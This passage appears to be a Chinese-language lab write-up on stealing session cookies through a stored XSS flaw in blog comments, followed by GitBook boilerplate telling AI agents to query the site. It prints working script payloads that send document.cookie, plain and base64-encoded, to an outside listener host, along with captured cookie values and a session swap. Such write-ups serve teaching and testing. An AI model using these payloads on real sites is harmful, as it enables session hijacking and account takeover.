> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/cookie-theft-via-xss.md).

# 通过 XSS 盗取 Cookie

### 利用跨站脚本攻击窃取 Cookie

该实验室在博客评论功能中存在一个存储型 XSS 漏洞。受害用户会在发布后查看评论。教学目标是理解客户端注入如何导致会话信息外泄，以及如何加以防护。

评论字段没有对用户输入进行足够的编码或转义，因此当其他用户显示该页面时，浏览器会注入内容。

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/7dc3661930b52a34ebdd21351363eb3b5f3d9457" alt="" width="527"><figcaption></figcaption></figure>

我们使用 `fetch` 来发起请求：

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

请求到达监听基础设施。

<figure><img src="/files/49151c655ec22be76980a88dab07fff3362b6fcb" alt=""><figcaption></figcaption></figure>

我们发送会话 Cookie：

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/79cdd2ac4192ce35baf4759de9a01195d03e1f83" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

然后我们替换会话 Cookie。

<figure><img src="/files/fbef4b1e07e9d848be54cdc4c7385c603dc7668a" alt=""><figcaption></figcaption></figure>

你也可以在发送前将内容编码为 base64：

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
